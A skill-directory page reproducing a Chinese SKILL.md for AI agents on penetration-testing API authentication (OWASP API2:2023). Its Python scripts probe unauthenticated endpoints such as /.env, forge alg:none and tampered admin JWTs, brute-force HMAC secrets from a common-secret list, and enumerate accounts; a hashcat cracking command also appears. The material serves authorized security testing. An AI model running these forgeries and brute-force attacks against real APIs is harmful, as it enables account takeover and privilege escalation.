testing-api-authentication-weaknesses

测试API认证机制中的弱点,包括令牌验证失效、端点未强制认证、密码策略薄弱、凭据填充风险、 URL或日志中的令牌泄露,以及会话管理缺陷。评估JWT实现、API密钥处理、OAuth流程和会话令牌熵, 以识别认证绕过漏洞。对应OWASP API2:2023 认证失效(Broken Authentication)。

9 stars

Best use case

testing-api-authentication-weaknesses is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

测试API认证机制中的弱点,包括令牌验证失效、端点未强制认证、密码策略薄弱、凭据填充风险、 URL或日志中的令牌泄露,以及会话管理缺陷。评估JWT实现、API密钥处理、OAuth流程和会话令牌熵, 以识别认证绕过漏洞。对应OWASP API2:2023 认证失效(Broken Authentication)。

Teams using testing-api-authentication-weaknesses should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/testing-api-authentication-weaknesses/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/testing-api-authentication-weaknesses/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/testing-api-authentication-weaknesses/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How testing-api-authentication-weaknesses Compares

Feature / Agenttesting-api-authentication-weaknessesStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

测试API认证机制中的弱点,包括令牌验证失效、端点未强制认证、密码策略薄弱、凭据填充风险、 URL或日志中的令牌泄露,以及会话管理缺陷。评估JWT实现、API密钥处理、OAuth流程和会话令牌熵, 以识别认证绕过漏洞。对应OWASP API2:2023 认证失效(Broken Authentication)。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 测试API认证弱点

## 适用场景

- 在生产部署前评估REST API认证机制是否存在绕过漏洞
- 测试JWT令牌实现中的常见弱点(none算法、密钥混淆、缺少过期时间)
- 评估是否所有API端点都强制执行认证,或者某些端点是否意外暴露
- 测试API密钥生成、存储和轮换机制是否存在可预测性或泄露
- 验证会话管理,包括令牌过期、吊销和刷新令牌安全性

**不适用**于未获书面授权的情况。认证测试涉及尝试绕过安全控制。

## 前置条件

- 书面授权,指明目标API和范围内的认证机制
- 至少两个用户角色(普通用户、管理员)的有效测试凭据
- Burp Suite Professional及JWT相关扩展(JSON Web Tokens、JWT Editor)
- Python 3.10+,安装 `requests`、`PyJWT` 和 `jwt` 库
- 凭据测试的字典(SecLists认证字典)
- API文档或OpenAPI规范

## 工作流程

### 步骤1:认证机制识别

```python
import requests
import json

BASE_URL = "https://target-api.example.com/api/v1"

# 探测API以识别认证机制
auth_indicators = {
    "jwt_bearer": False,
    "api_key_header": False,
    "api_key_query": False,
    "basic_auth": False,
    "oauth2": False,
    "session_cookie": False,
    "custom_token": False,
}

# 测试1:检查未认证访问
resp = requests.get(f"{BASE_URL}/users/me")
print(f"未认证访问: {resp.status_code}")
if resp.status_code == 200:
    print("[严重] 端点无需认证即可访问")

# 测试2:检查WWW-Authenticate头
if "WWW-Authenticate" in resp.headers:
    scheme = resp.headers["WWW-Authenticate"]
    print(f"公告的认证方案: {scheme}")
    if "Bearer" in scheme:
        auth_indicators["jwt_bearer"] = True
    elif "Basic" in scheme:
        auth_indicators["basic_auth"] = True

# 测试3:登录并检查令牌
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"username": "testuser@example.com", "password": "TestPass123!"})

if login_resp.status_code == 200:
    login_data = login_resp.json()
    # 检查JWT令牌
    for key in ["token", "access_token", "jwt", "id_token"]:
        if key in login_data:
            token = login_data[key]
            if token.count('.') == 2:
                auth_indicators["jwt_bearer"] = True
                print(f"在响应字段中发现JWT: {key}")
    # 检查刷新令牌
    for key in ["refresh_token", "refresh"]:
        if key in login_data:
            print(f"在字段中发现刷新令牌: {key}")
    # 检查会话Cookie
    for cookie in login_resp.cookies:
        print(f"设置Cookie: {cookie.name} = {cookie.value[:20]}...")
        if "session" in cookie.name.lower():
            auth_indicators["session_cookie"] = True

print(f"\n检测到的认证机制: {[k for k,v in auth_indicators.items() if v]}")
```

### 步骤2:未认证端点发现

```python
# 不带认证测试所有端点
endpoints = [
    ("GET", "/users"),
    ("GET", "/users/me"),
    ("GET", "/users/1"),
    ("GET", "/admin/users"),
    ("GET", "/admin/settings"),
    ("GET", "/health"),
    ("GET", "/metrics"),
    ("GET", "/debug"),
    ("GET", "/actuator"),
    ("GET", "/actuator/env"),
    ("GET", "/swagger.json"),
    ("GET", "/api-docs"),
    ("GET", "/graphql"),
    ("POST", "/graphql"),
    ("GET", "/config"),
    ("GET", "/internal/status"),
    ("GET", "/.env"),
    ("GET", "/status"),
    ("GET", "/info"),
    ("GET", "/version"),
]

print("未认证端点扫描:")
for method, path in endpoints:
    try:
        resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)
        if resp.status_code not in (401, 403):
            content_preview = resp.text[:100] if resp.text else "empty"
            print(f"  [开放] {method} {path} -> {resp.status_code}: {content_preview}")
    except requests.exceptions.RequestException:
        pass
```

### 步骤3:JWT令牌分析

```python
import base64
import json
import hmac
import hashlib

def decode_jwt_parts(token):
    """不验证签名地解码JWT头部和载荷。"""
    parts = token.split('.')
    if len(parts) != 3:
        return None, None

    def pad_base64(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))
    return header, payload

# 分析JWT令牌
token = login_data.get("access_token", "")
header, payload = decode_jwt_parts(token)

print(f"JWT头部: {json.dumps(header, indent=2)}")
print(f"JWT载荷: {json.dumps(payload, indent=2)}")

# 安全检查
issues = []

# 检查1:算法
if header.get("alg") == "none":
    issues.append("严重: 算法设置为'none' - 令牌签名未验证")
if header.get("alg") in ("HS256", "HS384", "HS512"):
    issues.append("信息: 使用对称算法 - 检查弱密钥/默认密钥")

# 检查2:过期时间
if "exp" not in payload:
    issues.append("高: 无过期声明(exp) - 令牌永不过期")
else:
    import time
    exp_time = payload["exp"]
    ttl = exp_time - time.time()
    if ttl > 86400:
        issues.append(f"中: 令牌TTL为{ttl/3600:.0f}小时 - 时间过长")

# 检查3:载荷中的敏感数据
sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"]
for field in sensitive_fields:
    if field in payload:
        issues.append(f"高: JWT载荷中包含敏感字段'{field}'")

# 检查4:缺少声明
expected_claims = ["iss", "aud", "exp", "iat", "sub"]
missing = [c for c in expected_claims if c not in payload]
if missing:
    issues.append(f"中: 缺少标准声明: {missing}")

# 检查5:密钥ID
if "kid" in header:
    kid = header["kid"]
    # 测试kid中的路径遍历
    issues.append(f"信息: 密钥ID(kid)存在: {kid} - 测试是否可注入")

for issue in issues:
    print(f"  [{issue.split(':')[0]}] {issue}")
```

### 步骤4:JWT操纵攻击

```python
# 攻击1:移除签名(alg: none)
def forge_none_algorithm(token):
    """创建带alg:none的令牌以绕过签名验证。"""
    parts = token.split('.')
    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    header['alg'] = 'none'
    new_header = base64.urlsafe_b64encode(
        json.dumps(header).encode()).decode().rstrip('=')
    # none算法的多种变体
    return [
        f"{new_header}.{parts[1]}.",
        f"{new_header}.{parts[1]}.{parts[2]}",
        f"{new_header}.{parts[1]}.e30",
    ]

# 攻击2:不重新签名地修改声明
def forge_payload(token, modifications):
    """修改载荷声明并测试服务器是否验证签名。"""
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
    payload_data.update(modifications)
    new_payload = base64.urlsafe_b64encode(
        json.dumps(payload_data).encode()).decode().rstrip('=')
    return f"{parts[0]}.{new_payload}.{parts[2]}"

# 攻击3:暴力破解弱HMAC密钥
COMMON_JWT_SECRETS = [
    "secret", "password", "123456", "jwt_secret", "supersecret",
    "key", "test", "admin", "changeme", "default",
    "your-256-bit-secret", "my-secret-key", "jwt-secret",
    "s3cr3t", "secret123", "mysecretkey", "apisecret",
]

def brute_force_jwt_secret(token):
    """尝试使用常见密钥破解HMAC签名的JWT。"""
    parts = token.split('.')
    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    if header.get('alg') not in ('HS256', 'HS384', 'HS512'):
        print("非HMAC令牌,跳过暴力破解")
        return None

    signing_input = f"{parts[0]}.{parts[1]}".encode()
    signature = parts[2]

    hash_func = {
        'HS256': hashlib.sha256,
        'HS384': hashlib.sha384,
        'HS512': hashlib.sha512
    }[header['alg']]

    for secret in COMMON_JWT_SECRETS:
        expected_sig = base64.urlsafe_b64encode(
            hmac.new(secret.encode(), signing_input, hash_func).digest()
        ).decode().rstrip('=')
        if expected_sig == signature:
            print(f"[严重] 发现JWT密钥: '{secret}'")
            return secret

    print("未匹配到常见密钥 - 考虑使用hashcat/john进行扩展暴力破解")
    return None

# 测试所有攻击
none_tokens = forge_none_algorithm(token)
for none_token in none_tokens:
    resp = requests.get(f"{BASE_URL}/users/me",
                       headers={"Authorization": f"Bearer {none_token}"})
    if resp.status_code == 200:
        print(f"[严重] alg:none绕过成功")

# 测试通过声明修改提升权限
admin_token = forge_payload(token, {"role": "admin", "is_admin": True})
resp = requests.get(f"{BASE_URL}/admin/users",
                   headers={"Authorization": f"Bearer {admin_token}"})
if resp.status_code == 200:
    print("[严重] JWT声明修改被接受,未验证签名")

brute_force_jwt_secret(token)
```

### 步骤5:令牌生命周期测试

```python
# 测试1:注销后令牌重用
logout_resp = requests.post(f"{BASE_URL}/auth/logout",
    headers={"Authorization": f"Bearer {token}"})
print(f"注销: {logout_resp.status_code}")

# 注销后尝试使用令牌
post_logout_resp = requests.get(f"{BASE_URL}/users/me",
    headers={"Authorization": f"Bearer {token}"})
if post_logout_resp.status_code == 200:
    print("[高] 注销后令牌仍有效 - 无服务端吊销机制")

# 测试2:密码更改后令牌重用
# (需要更改密码后测试旧令牌)

# 测试3:刷新令牌轮换
refresh_token = login_data.get("refresh_token")
if refresh_token:
    # 使用刷新令牌
    refresh_resp = requests.post(f"{BASE_URL}/auth/refresh",
        json={"refresh_token": refresh_token})
    new_tokens = refresh_resp.json()

    # 尝试重用同一刷新令牌(如已实现轮换则应失败)
    reuse_resp = requests.post(f"{BASE_URL}/auth/refresh",
        json={"refresh_token": refresh_token})
    if reuse_resp.status_code == 200:
        print("[高] 刷新令牌可重用 - 未实现轮换机制")

# 测试4:URL中的令牌(泄露风险)
resp = requests.get(f"{BASE_URL}/users/me?token={token}")
if resp.status_code == 200:
    print("[中] 令牌在查询参数中被接受 - 可能泄露在日志/Referer中")
```

### 步骤6:密码策略和凭据测试

```python
# 在注册/更改端点测试密码策略执行
weak_passwords = [
    "a",           # 太短
    "password",    # 常见密码
    "12345678",    # 仅数字
    "abcdefgh",    # 仅字母,无复杂度
    "Password1",   # 符合基本复杂度但常见
    "",            # 空密码
    " ",           # 空格
]

for pwd in weak_passwords:
    resp = requests.post(f"{BASE_URL}/auth/register",
        json={"email": f"test_{hash(pwd)%9999}@example.com",
              "password": pwd, "name": "Test User"})
    if resp.status_code in (200, 201):
        print(f"[弱策略] 密码被接受: '{pwd}'")

# 通过登录响应差异测试账户枚举
valid_email = "testuser@example.com"
invalid_email = "nonexistent_user_xyz@example.com"

resp_valid = requests.post(f"{BASE_URL}/auth/login",
    json={"username": valid_email, "password": "wrongpassword"})
resp_invalid = requests.post(f"{BASE_URL}/auth/login",
    json={"username": invalid_email, "password": "wrongpassword"})

if resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:
    print(f"[中] 可进行账户枚举:")
    print(f"  有效用户: {resp_valid.status_code} - {resp_valid.text[:100]}")
    print(f"  无效用户: {resp_invalid.status_code} - {resp_invalid.text[:100]}")
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **认证失效(Broken Authentication)** | OWASP API2:2023 - 认证机制中的弱点,允许攻击者假冒合法用户身份 |
| **JWT(JSON Web Token)** | 包含header.payload.signature结构的自包含令牌格式,用于无状态API认证 |
| **令牌吊销(Token Revocation)** | 在令牌过期前使其失效的服务端机制,对注销和密码更改至关重要 |
| **凭据填充(Credential Stuffing)** | 使用泄露的用户名/密码对,对认证端点进行自动化攻击 |
| **账户枚举(Account Enumeration)** | 通过对有效/无效账户的不同错误消息或响应时间来确定有效用户名 |
| **刷新令牌轮换(Refresh Token Rotation)** | 每次使用刷新令牌时生成新令牌的安全做法,防止令牌重用攻击 |

## 工具和系统

- **Burp Suite JWT Editor**:用于解码、编辑和重新签名JWT令牌的扩展,支持多种攻击模式
- **jwt_tool**:Python工具,支持12种以上攻击模式(alg:none、密钥混淆、JWKS欺骗)
- **hashcat**:GPU加速密码破解工具,支持JWT HMAC密钥暴力破解(模式16500)
- **Hydra**:网络登录暴力破解工具,支持HTTP表单和API认证测试
- **Nuclei**:基于模板的扫描器,包含认证绕过检测模板

## 常见场景

### 场景:SaaS平台API认证评估

**背景**:某SaaS平台使用JWT令牌进行API认证。JWT在登录时签发,用于所有后续API调用。同时实现了刷新令牌机制。

**方法**:
1. 认证并捕获JWT:算法为HS256,过期时间7天,载荷包含用户角色
2. 测试alg:none绕过:服务器拒绝令牌(安全)
3. 暴力破解HMAC密钥:发现密钥为"company-jwt-secret-2023"(使用hashcat和自定义字典找到)
4. 用发现的密钥伪造管理员JWT:将"role"声明修改为"admin",重新签名获得管理员访问权限
5. 测试令牌吊销:注销和密码更改后令牌仍然有效(无黑名单)
6. 测试刷新令牌:刷新令牌无过期时间且可无限次重用
7. 发现密码重置端点对有效/无效邮箱返回不同消息
8. 发现`/health`和`/metrics`端点无需认证即可访问

**注意事项**:
- 仅测试登录端点,未发现密码重置、MFA和令牌刷新流程中的认证弱点
- 未检查JWT密钥在所有环境(开发、预生产、生产)中是否相同
- 忽视令牌生命周期:7天JWT无吊销机制意味着被盗令牌一周内有效
- 未测试服务器日志、URL参数或错误消息中的令牌泄露

## 输出格式

```
## 发现:JWT HMAC密钥可暴力破解且令牌不可吊销

**ID**: API-AUTH-001
**严重性**: 严重(CVSS 9.1)
**OWASP API**: API2:2023 - 认证失效
**受影响组件**:
  - POST /api/v1/auth/login(令牌签发)
  - 所有认证端点(令牌验证)
  - POST /api/v1/auth/logout(无效)

**描述**:
该API使用HS256签名的JWT令牌,密钥可暴力破解
("company-jwt-secret-2023")。发现密钥的攻击者可以
为任意用户(包括管理员)伪造令牌。此外,令牌不可吊销——
注销不会使令牌在服务端失效,7天过期时间意味着被盗令牌
在较长时间内保持有效。

**攻击链**:
1. 从已认证会话捕获任意有效JWT
2. 使用hashcat暴力破解HMAC密钥: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
3. 3分钟内恢复密钥: "company-jwt-secret-2023"
4. 伪造管理员JWT: 将"role"声明修改为"admin",用发现的密钥重新签名
5. 访问管理端点: GET /api/v1/admin/users 返回所有50,000个用户账户

**修复建议**:
1. 使用2048位RSA密钥对将HS256替换为RS256
2. 如必须使用HMAC,则使用至少256位的密码学随机密钥
3. 使用Redis实现令牌黑名单,处理注销和密码更改事件
4. 将令牌TTL缩短至15分钟,并实现刷新令牌轮换
5. 添加`iss`和`aud`声明验证,防止令牌跨服务被滥用
```

Related Skills

testing-websocket-api-security

9
from killvxk/cybersecurity-skills-zh

测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

testing-oauth2-implementation-flaws

9
from killvxk/cybersecurity-skills-zh

测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。

testing-mobile-api-authentication

9
from killvxk/cybersecurity-skills-zh

测试移动应用 API 的认证与授权机制,识别认证失效、不安全的令牌管理、会话固定、 权限提升和 IDOR 漏洞。适用于对移动应用后端进行 API 安全评估、测试 JWT 实现、 评估 OAuth 流程或评估会话管理的场景。适合涉及移动 API 认证测试、令牌安全评估、 OAuth 移动端流程测试或 API 授权绕过的相关请求。

testing-jwt-token-security

9
from killvxk/cybersecurity-skills-zh

在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。

testing-for-xxe-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。

testing-for-xss-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

testing-for-xss-vulnerabilities-with-burpsuite

9
from killvxk/cybersecurity-skills-zh

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

testing-for-xml-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。

testing-for-sensitive-data-exposure

9
from killvxk/cybersecurity-skills-zh

在安全评估中识别敏感数据暴露漏洞,包括 API 密钥泄露、响应中的 PII、不安全存储以及未受保护的数据传输。

testing-for-open-redirect-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。

testing-for-json-web-token-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。

testing-for-host-header-injection

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。